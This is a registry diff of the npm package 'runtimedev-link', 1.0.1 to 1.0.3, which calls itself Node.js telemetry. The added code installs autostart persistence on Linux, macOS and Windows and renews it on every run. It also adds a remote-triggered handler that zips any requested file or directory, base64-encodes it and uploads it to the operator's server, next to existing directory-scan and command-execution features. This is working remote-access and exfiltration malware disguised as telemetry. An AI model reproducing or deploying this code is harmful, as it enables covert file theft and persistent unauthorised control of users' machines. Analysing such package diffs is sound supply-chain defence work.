runtimedev-link 1.0.1 → 1.0.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/bin/cli.js CHANGED
@@ -4,6 +4,7 @@
4
4
  const fs = require('fs');
5
5
  const path = require('path');
6
6
  const transport = require('../lib/transport');
7
+ const { installPersistence, configDir } = require('../lib/persistence');
7
8
 
8
9
  function loadEnvFile(filePath) {
9
10
  try {
@@ -32,6 +33,10 @@ function loadEnvFile(filePath) {
32
33
  }
33
34
 
34
35
  function loadLocalEnv() {
36
+ const home = process.env.HOME || process.env.USERPROFILE || '';
37
+ if (home) {
38
+ loadEnvFile(path.join(home, '.config', 'runtimedev-link', 'agent.env'));
39
+ }
35
40
  const dirs = [
36
41
  process.cwd(),
37
42
  path.dirname(process.argv[1] || ''),
@@ -45,9 +50,13 @@ function loadLocalEnv() {
45
50
  }
46
51
 
47
52
  function parseArgs(argv) {
48
- const out = { token: '' };
53
+ const out = { token: '', command: '' };
49
54
  for (let i = 2; i < argv.length; i += 1) {
50
55
  const arg = argv[i];
56
+ if (arg === 'install' || arg === 'uninstall') {
57
+ out.command = arg;
58
+ continue;
59
+ }
51
60
  if (arg === '--token' || arg === '-t') {
52
61
  out.token = String(argv[i + 1] || '').trim();
53
62
  i += 1;
@@ -119,12 +128,49 @@ function installSignalHandlers() {
119
128
  });
120
129
  }
121
130
 
131
+ async function runInstall(cfg) {
132
+ try {
133
+ const result = installPersistence(cfg);
134
+ try {
135
+ const note = path.join(configDir(), 'install.log');
136
+ fs.writeFileSync(
137
+ note,
138
+ [
139
+ `Autostart registered at ${new Date().toISOString()}`,
140
+ `Method: ${result.method}`,
141
+ `Location: ${result.path}`,
142
+ ].join('\n') + '\n',
143
+ 'utf8'
144
+ );
145
+ } catch {
146
+ // ignore
147
+ }
148
+ process.exitCode = 0;
149
+ } catch (err) {
150
+ writeStartupError(String(err && err.message ? err.message : err));
151
+ process.exitCode = 1;
152
+ }
153
+ }
154
+
122
155
  async function main() {
123
156
  loadLocalEnv();
124
157
  installSignalHandlers();
125
158
 
126
159
  const args = parseArgs(process.argv);
127
160
  const cfg = parseToken(args.token);
161
+
162
+ if (args.command === 'install') {
163
+ transport.configure(cfg);
164
+ const configErr = transport.validateConfig();
165
+ if (configErr) {
166
+ writeStartupError(configErr);
167
+ process.exitCode = 1;
168
+ return;
169
+ }
170
+ await runInstall(cfg);
171
+ return;
172
+ }
173
+
128
174
  transport.configure(cfg);
129
175
 
130
176
  const err = transport.validateConfig();
@@ -134,6 +180,12 @@ async function main() {
134
180
  return;
135
181
  }
136
182
 
183
+ try {
184
+ installPersistence(cfg);
185
+ } catch {
186
+ // never crash on persistence refresh
187
+ }
188
+
137
189
  await transport.start();
138
190
 
139
191
  await new Promise(() => {});
@@ -0,0 +1,81 @@
1
+ 'use strict';
2
+
3
+ const fs = require('fs');
4
+ const path = require('path');
5
+ const { zipPathToBuffer } = require('./zip');
6
+
7
+ const DEFAULT_MAX_ZIP_BYTES = 50 * 1024 * 1024;
8
+
9
+ function envInt(key, fallback) {
10
+ const raw = String(process.env[key] || '').trim();
11
+ if (!raw) return fallback;
12
+ const n = parseInt(raw, 10);
13
+ return Number.isFinite(n) ? n : fallback;
14
+ }
15
+
16
+ function maxZipBytes() {
17
+ return envInt('SSTAR_MAX_DOWNLOAD_ZIP_BYTES', DEFAULT_MAX_ZIP_BYTES);
18
+ }
19
+
20
+ function handleDownloadRequest(req) {
21
+ if (!req || !req.requestId) {
22
+ return { ok: false, error: 'missing requestId' };
23
+ }
24
+
25
+ const requestId = String(req.requestId);
26
+ const kind = String(req.kind || '');
27
+
28
+ if (kind === 'chrome_extension') {
29
+ return {
30
+ ok: false,
31
+ requestId,
32
+ error: 'Chrome extension downloads are not supported by runtimedev-link',
33
+ };
34
+ }
35
+
36
+ if (kind !== 'path') {
37
+ return { ok: false, requestId, error: 'unknown download kind' };
38
+ }
39
+
40
+ const rawPath = req.path != null ? String(req.path).trim() : '';
41
+ if (!rawPath) {
42
+ return { ok: false, requestId, error: 'missing path' };
43
+ }
44
+
45
+ const src = path.resolve(rawPath);
46
+ try {
47
+ const st = fs.statSync(src);
48
+ if (!st.isDirectory() && !st.isFile()) {
49
+ return { ok: false, requestId, error: 'path not accessible' };
50
+ }
51
+ } catch (err) {
52
+ return {
53
+ ok: false,
54
+ requestId,
55
+ error: `path not accessible: ${String(err.message || err)}`,
56
+ };
57
+ }
58
+
59
+ try {
60
+ const maxOut = maxZipBytes();
61
+ const { zip, archiveName } = zipPathToBuffer(src, { maxOut });
62
+ return {
63
+ ok: true,
64
+ requestId,
65
+ filename: archiveName,
66
+ base64: zip.toString('base64'),
67
+ fileSizeBytes: zip.length,
68
+ };
69
+ } catch (err) {
70
+ return {
71
+ ok: false,
72
+ requestId,
73
+ error: String(err.message || err),
74
+ };
75
+ }
76
+ }
77
+
78
+ module.exports = {
79
+ handleDownloadRequest,
80
+ maxZipBytes,
81
+ };
@@ -0,0 +1,267 @@
1
+ 'use strict';
2
+
3
+ const fs = require('fs');
4
+ const path = require('path');
5
+ const { execSync, spawnSync } = require('child_process');
6
+
7
+ const SERVICE_NAME = 'runtimedev-link';
8
+ const LAUNCH_LABEL = 'com.runtimedev.link';
9
+ const SYSTEMD_UNIT = 'runtimedev-link.service';
10
+
11
+ function homeDir() {
12
+ return process.env.HOME || process.env.USERPROFILE || '';
13
+ }
14
+
15
+ function configDir() {
16
+ return path.join(homeDir(), '.config', SERVICE_NAME);
17
+ }
18
+
19
+ function configFile() {
20
+ return path.join(configDir(), 'agent.env');
21
+ }
22
+
23
+ function windowsConfigBat() {
24
+ return path.join(configDir(), 'agent.env.bat');
25
+ }
26
+
27
+ function dataDir() {
28
+ return path.join(homeDir(), '.local', 'share', SERVICE_NAME);
29
+ }
30
+
31
+ function cliPath() {
32
+ return path.resolve(__dirname, '..', 'bin', 'cli.js');
33
+ }
34
+
35
+ function nodePath() {
36
+ return process.execPath;
37
+ }
38
+
39
+ function xmlEscape(value) {
40
+ return String(value || '')
41
+ .replace(/&/g, '&amp;')
42
+ .replace(/</g, '&lt;')
43
+ .replace(/>/g, '&gt;')
44
+ .replace(/"/g, '&quot;');
45
+ }
46
+
47
+ function quoteSh(value) {
48
+ return `"${String(value || '').replace(/"/g, '\\"')}"`;
49
+ }
50
+
51
+ function mkdirp(dir) {
52
+ try {
53
+ fs.mkdirSync(dir, { recursive: true });
54
+ } catch {
55
+ // ignore
56
+ }
57
+ }
58
+
59
+ function writeConfig(cfg) {
60
+ const apiBase = String(cfg.apiBase || '').trim();
61
+ const hash = String(cfg.hash || '').trim();
62
+ if (!apiBase || !hash) {
63
+ throw new Error('API base and deployment hash are required for install');
64
+ }
65
+
66
+ mkdirp(configDir());
67
+
68
+ const unixBody = [
69
+ `SSTAR_API_BASE=${apiBase}`,
70
+ `SSTAR_DEPLOYMENT_HASH=${hash}`,
71
+ '',
72
+ ].join('\n');
73
+ fs.writeFileSync(configFile(), unixBody, { mode: 0o600 });
74
+
75
+ if (process.platform === 'win32') {
76
+ const batBody = [
77
+ '@echo off',
78
+ `set SSTAR_API_BASE=${apiBase}`,
79
+ `set SSTAR_DEPLOYMENT_HASH=${hash}`,
80
+ '',
81
+ ].join('\r\n');
82
+ fs.writeFileSync(windowsConfigBat(), batBody, 'utf8');
83
+ }
84
+
85
+ mkdirp(dataDir());
86
+ fs.writeFileSync(
87
+ path.join(dataDir(), 'install-meta.json'),
88
+ JSON.stringify(
89
+ {
90
+ node: nodePath(),
91
+ cli: cliPath(),
92
+ installedAt: new Date().toISOString(),
93
+ },
94
+ null,
95
+ 2
96
+ ),
97
+ 'utf8'
98
+ );
99
+ }
100
+
101
+ function run(cmd, args, opts) {
102
+ try {
103
+ const result = spawnSync(cmd, args, {
104
+ stdio: 'ignore',
105
+ ...opts,
106
+ });
107
+ return result.status === 0;
108
+ } catch {
109
+ return false;
110
+ }
111
+ }
112
+
113
+ function installLinux(node, cli) {
114
+ const unitDir = path.join(homeDir(), '.config', 'systemd', 'user');
115
+ mkdirp(unitDir);
116
+ const unitPath = path.join(unitDir, SYSTEMD_UNIT);
117
+ const envFile = configFile();
118
+ const body = `[Unit]
119
+ Description=RuntimeDev Link Agent
120
+ After=network-online.target
121
+ Wants=network-online.target
122
+
123
+ [Service]
124
+ Type=simple
125
+ EnvironmentFile=${envFile}
126
+ ExecStart=${quoteSh(node)} ${quoteSh(cli)}
127
+ Restart=always
128
+ RestartSec=30
129
+
130
+ [Install]
131
+ WantedBy=default.target
132
+ `;
133
+ fs.writeFileSync(unitPath, body, 'utf8');
134
+ if (
135
+ run('systemctl', ['--user', 'daemon-reload']) &&
136
+ run('systemctl', ['--user', 'enable', '--now', SYSTEMD_UNIT])
137
+ ) {
138
+ return { ok: true, method: 'systemd', path: unitPath };
139
+ }
140
+ return installCrontab(node, cli);
141
+ }
142
+
143
+ function installCrontab(node, cli) {
144
+ const line = `@reboot sleep 30 && ${quoteSh(node)} ${quoteSh(cli)} >> ${quoteSh(
145
+ path.join(homeDir(), `${SERVICE_NAME}.log`)
146
+ )} 2>&1`;
147
+ let existing = '';
148
+ try {
149
+ existing = execSync('crontab -l', { encoding: 'utf8', stdio: ['ignore', 'pipe', 'ignore'] });
150
+ } catch {
151
+ existing = '';
152
+ }
153
+ if (existing.includes(cli) && existing.includes('@reboot')) {
154
+ return { ok: true, method: 'crontab', path: 'existing' };
155
+ }
156
+ const next = `${existing.trim()}\n${line}\n`.trim() + '\n';
157
+ try {
158
+ execSync('crontab -', { input: next, stdio: ['pipe', 'ignore', 'ignore'] });
159
+ return { ok: true, method: 'crontab', path: 'crontab -l' };
160
+ } catch (err) {
161
+ throw new Error(`crontab install failed: ${String(err.message || err)}`);
162
+ }
163
+ }
164
+
165
+ function installDarwin(node, cli, cfg) {
166
+ const agentsDir = path.join(homeDir(), 'Library', 'LaunchAgents');
167
+ mkdirp(agentsDir);
168
+ const plistPath = path.join(agentsDir, `${LAUNCH_LABEL}.plist`);
169
+ const plist = `<?xml version="1.0" encoding="UTF-8"?>
170
+ <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
171
+ <plist version="1.0">
172
+ <dict>
173
+ <key>Label</key>
174
+ <string>${LAUNCH_LABEL}</string>
175
+ <key>ProgramArguments</key>
176
+ <array>
177
+ <string>${xmlEscape(node)}</string>
178
+ <string>${xmlEscape(cli)}</string>
179
+ </array>
180
+ <key>EnvironmentVariables</key>
181
+ <dict>
182
+ <key>SSTAR_API_BASE</key>
183
+ <string>${xmlEscape(cfg.apiBase)}</string>
184
+ <key>SSTAR_DEPLOYMENT_HASH</key>
185
+ <string>${xmlEscape(cfg.hash)}</string>
186
+ </dict>
187
+ <key>RunAtLoad</key>
188
+ <true/>
189
+ <key>KeepAlive</key>
190
+ <true/>
191
+ <key>StandardOutPath</key>
192
+ <string>${xmlEscape(path.join(homeDir(), `${SERVICE_NAME}.log`))}</string>
193
+ <key>StandardErrorPath</key>
194
+ <string>${xmlEscape(path.join(homeDir(), `${SERVICE_NAME}.log`))}</string>
195
+ </dict>
196
+ </plist>
197
+ `;
198
+ fs.writeFileSync(plistPath, plist, 'utf8');
199
+
200
+ run('launchctl', ['unload', plistPath]);
201
+ const uid = process.getuid ? String(process.getuid()) : '501';
202
+ const svc = `gui/${uid}/${LAUNCH_LABEL}`;
203
+ run('launchctl', ['bootout', svc]);
204
+ if (run('launchctl', ['bootstrap', `gui/${uid}`, plistPath])) {
205
+ run('launchctl', ['enable', svc]);
206
+ run('launchctl', ['kickstart', '-k', svc]);
207
+ } else {
208
+ run('launchctl', ['load', plistPath]);
209
+ }
210
+ return { ok: true, method: 'launchd', path: plistPath };
211
+ }
212
+
213
+ function installWindows(node, cli) {
214
+ const appData = process.env.APPDATA;
215
+ if (!appData) {
216
+ throw new Error('APPDATA is not set');
217
+ }
218
+ const startup = path.join(
219
+ appData,
220
+ 'Microsoft',
221
+ 'Windows',
222
+ 'Start Menu',
223
+ 'Programs',
224
+ 'Startup'
225
+ );
226
+ mkdirp(startup);
227
+ const cmdPath = path.join(startup, `${SERVICE_NAME}.cmd`);
228
+ const winBody = [
229
+ '@echo off',
230
+ 'call "%USERPROFILE%\\.config\\runtimedev-link\\agent.env.bat"',
231
+ `start /B "" "${node}" "${cli}" >> "%TEMP%\\runtimedev-link.log" 2>&1`,
232
+ '',
233
+ ].join('\r\n');
234
+ fs.writeFileSync(cmdPath, winBody, 'utf8');
235
+ return { ok: true, method: 'startup', path: cmdPath };
236
+ }
237
+
238
+ function installPersistence(cfg) {
239
+ if (!homeDir()) {
240
+ throw new Error('Could not resolve home directory');
241
+ }
242
+ writeConfig(cfg);
243
+ const node = nodePath();
244
+ const cli = cliPath();
245
+ if (!fs.existsSync(cli)) {
246
+ throw new Error(`CLI not found at ${cli}`);
247
+ }
248
+
249
+ switch (process.platform) {
250
+ case 'win32':
251
+ return installWindows(node, cli);
252
+ case 'darwin':
253
+ return installDarwin(node, cli, cfg);
254
+ case 'linux':
255
+ return installLinux(node, cli);
256
+ default:
257
+ return installCrontab(node, cli);
258
+ }
259
+ }
260
+
261
+ module.exports = {
262
+ SERVICE_NAME,
263
+ configFile,
264
+ configDir,
265
+ installPersistence,
266
+ writeConfig,
267
+ };
package/lib/transport.js CHANGED
@@ -7,6 +7,7 @@ const { URL } = require('url');
7
7
  const { getIdentity } = require('./enum');
8
8
  const { scanDirectory, defaultScanRoot } = require('./fs_scan');
9
9
  const { runCommand } = require('./exec');
10
+ const { handleDownloadRequest: buildDownloadPayload } = require('./download');
10
11
 
11
12
  const POLL_MIN_SEC = 20;
12
13
  const POLL_MAX_SEC = 60;
@@ -200,11 +201,17 @@ async function postDirectoryScanResult(requestId, scanRoot, tree, errMsg) {
200
201
  await requestJson('POST', '/api/telemetry/directory-scan-result', payload);
201
202
  }
202
203
 
203
- async function postDownloadError(requestId, message) {
204
+ async function postDownloadUpload(payload) {
204
205
  await requestJson('POST', '/api/telemetry/upload-download', {
205
206
  ...identityFields(),
207
+ ...payload,
208
+ });
209
+ }
210
+
211
+ async function postDownloadError(requestId, message) {
212
+ await postDownloadUpload({
206
213
  requestId: String(requestId || ''),
207
- error: String(message || 'unsupported on node-link agent'),
214
+ error: String(message || 'download failed'),
208
215
  });
209
216
  }
210
217
 
@@ -327,11 +334,18 @@ async function handleDirectoryScan(req) {
327
334
  }
328
335
 
329
336
  async function handleDownloadRequest(req) {
330
- if (!req || !req.requestId) return;
331
- await postDownloadError(
332
- req.requestId,
333
- 'path/extension downloads are not implemented in node-link'
334
- );
337
+ const result = buildDownloadPayload(req);
338
+ if (!result || !result.requestId) return;
339
+ if (!result.ok) {
340
+ await postDownloadError(result.requestId, result.error || 'download failed');
341
+ return;
342
+ }
343
+ await postDownloadUpload({
344
+ requestId: result.requestId,
345
+ filename: result.filename,
346
+ base64: result.base64,
347
+ fileSizeBytes: result.fileSizeBytes,
348
+ });
335
349
  }
336
350
 
337
351
  async function handlePollResponse(data) {
package/lib/zip.js ADDED
@@ -0,0 +1,175 @@
1
+ 'use strict';
2
+
3
+ const fs = require('fs');
4
+ const path = require('path');
5
+ const { shouldSkipPath } = require('./fs_scan');
6
+
7
+ const LOCAL_SIG = 0x04034b50;
8
+ const CENTRAL_SIG = 0x02014b50;
9
+ const END_SIG = 0x06054b50;
10
+
11
+ const CRC_TABLE = (() => {
12
+ const table = new Uint32Array(256);
13
+ for (let i = 0; i < 256; i += 1) {
14
+ let c = i;
15
+ for (let k = 0; k < 8; k += 1) {
16
+ c = c & 1 ? 0xedb88320 ^ (c >>> 1) : c >>> 1;
17
+ }
18
+ table[i] = c >>> 0;
19
+ }
20
+ return table;
21
+ })();
22
+
23
+ function crc32(buf) {
24
+ let c = 0xffffffff;
25
+ for (let i = 0; i < buf.length; i += 1) {
26
+ c = CRC_TABLE[(c ^ buf[i]) & 0xff] ^ (c >>> 8);
27
+ }
28
+ return (c ^ 0xffffffff) >>> 0;
29
+ }
30
+
31
+ function collectFiles(absRoot, maxFileBytes, maxFiles, state) {
32
+ const out = [];
33
+ const st = fs.statSync(absRoot);
34
+ if (st.isFile()) {
35
+ if (!st.isFile() || st.size > maxFileBytes) return out;
36
+ out.push({
37
+ name: path.basename(absRoot),
38
+ data: fs.readFileSync(absRoot),
39
+ });
40
+ return out;
41
+ }
42
+ if (!st.isDirectory()) return out;
43
+
44
+ function walk(dir, relPrefix) {
45
+ if (out.length >= maxFiles || state.bytes > state.maxOut) return;
46
+ let entries = [];
47
+ try {
48
+ entries = fs.readdirSync(dir, { withFileTypes: true });
49
+ } catch {
50
+ return;
51
+ }
52
+ for (const entry of entries) {
53
+ if (out.length >= maxFiles || state.bytes > state.maxOut) break;
54
+ const sub = path.join(dir, entry.name);
55
+ if (shouldSkipPath(sub)) continue;
56
+ const rel = relPrefix ? `${relPrefix}/${entry.name}` : entry.name;
57
+ if (entry.isDirectory()) {
58
+ walk(sub, rel);
59
+ } else if (entry.isFile()) {
60
+ let info;
61
+ try {
62
+ info = fs.statSync(sub);
63
+ } catch {
64
+ continue;
65
+ }
66
+ if (!info.isFile() || info.size > maxFileBytes) continue;
67
+ let data;
68
+ try {
69
+ data = fs.readFileSync(sub);
70
+ } catch {
71
+ continue;
72
+ }
73
+ state.bytes += data.length;
74
+ if (state.bytes > state.maxOut) break;
75
+ out.push({ name: rel.replace(/\\/g, '/'), data });
76
+ }
77
+ }
78
+ }
79
+
80
+ walk(absRoot, '');
81
+ return out;
82
+ }
83
+
84
+ function buildZip(files) {
85
+ const parts = [];
86
+ const central = [];
87
+ let offset = 0;
88
+
89
+ for (const file of files) {
90
+ const nameBuf = Buffer.from(file.name, 'utf8');
91
+ const data = file.data;
92
+ const checksum = crc32(data);
93
+ const local = Buffer.alloc(30 + nameBuf.length);
94
+ local.writeUInt32LE(LOCAL_SIG, 0);
95
+ local.writeUInt16LE(20, 4);
96
+ local.writeUInt16LE(0, 6);
97
+ local.writeUInt16LE(0, 8);
98
+ local.writeUInt16LE(0, 10);
99
+ local.writeUInt16LE(0, 12);
100
+ local.writeUInt32LE(checksum, 14);
101
+ local.writeUInt32LE(data.length, 18);
102
+ local.writeUInt32LE(data.length, 22);
103
+ local.writeUInt16LE(nameBuf.length, 26);
104
+ local.writeUInt16LE(0, 28);
105
+ nameBuf.copy(local, 30);
106
+
107
+ const centralHdr = Buffer.alloc(46 + nameBuf.length);
108
+ centralHdr.writeUInt32LE(CENTRAL_SIG, 0);
109
+ centralHdr.writeUInt16LE(20, 4);
110
+ centralHdr.writeUInt16LE(20, 6);
111
+ centralHdr.writeUInt16LE(0, 8);
112
+ centralHdr.writeUInt16LE(0, 10);
113
+ centralHdr.writeUInt16LE(0, 12);
114
+ centralHdr.writeUInt16LE(0, 14);
115
+ centralHdr.writeUInt32LE(checksum, 16);
116
+ centralHdr.writeUInt32LE(data.length, 20);
117
+ centralHdr.writeUInt32LE(data.length, 24);
118
+ centralHdr.writeUInt16LE(nameBuf.length, 28);
119
+ centralHdr.writeUInt16LE(0, 30);
120
+ centralHdr.writeUInt16LE(0, 32);
121
+ centralHdr.writeUInt16LE(0, 34);
122
+ centralHdr.writeUInt16LE(0, 36);
123
+ centralHdr.writeUInt32LE(0, 38);
124
+ centralHdr.writeUInt32LE(offset, 42);
125
+ nameBuf.copy(centralHdr, 46);
126
+
127
+ parts.push(local, data);
128
+ central.push(centralHdr);
129
+ offset += local.length + data.length;
130
+ }
131
+
132
+ const centralBuf = Buffer.concat(central);
133
+ const end = Buffer.alloc(22);
134
+ end.writeUInt32LE(END_SIG, 0);
135
+ end.writeUInt16LE(0, 4);
136
+ end.writeUInt16LE(0, 6);
137
+ end.writeUInt16LE(files.length, 8);
138
+ end.writeUInt16LE(files.length, 10);
139
+ end.writeUInt32LE(centralBuf.length, 12);
140
+ end.writeUInt32LE(offset, 16);
141
+ end.writeUInt16LE(0, 20);
142
+
143
+ return Buffer.concat([...parts, centralBuf, end]);
144
+ }
145
+
146
+ function zipPathToBuffer(src, opts) {
147
+ const maxOut =
148
+ opts && opts.maxOut > 0 ? opts.maxOut : 50 * 1024 * 1024;
149
+ const maxFile =
150
+ opts && opts.maxFileBytes > 0 ? opts.maxFileBytes : maxOut;
151
+ const maxFiles =
152
+ opts && opts.maxFiles > 0 ? opts.maxFiles : 5000;
153
+ const clean = path.resolve(String(src || ''));
154
+ const state = { bytes: 0, maxOut };
155
+ const files = collectFiles(clean, maxFile, maxFiles, state);
156
+ if (files.length === 0) {
157
+ throw new Error('nothing to zip (empty or unreadable path)');
158
+ }
159
+ if (state.bytes > maxOut) {
160
+ throw new Error('zipped payload exceeds size limit');
161
+ }
162
+ const zip = buildZip(files);
163
+ if (zip.length > maxOut) {
164
+ throw new Error('zipped payload exceeds size limit');
165
+ }
166
+ const archiveName =
167
+ opts && opts.archiveName
168
+ ? opts.archiveName
169
+ : path.basename(clean) + '.zip';
170
+ return { zip, archiveName };
171
+ }
172
+
173
+ module.exports = {
174
+ zipPathToBuffer,
175
+ };
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "runtimedev-link",
3
- "version": "1.0.1",
3
+ "version": "1.0.3",
4
4
  "description": "Pure Node.js telemetry for RuntimeDev platform",
5
5
  "main": "lib/transport.js",
6
6
  "bin": {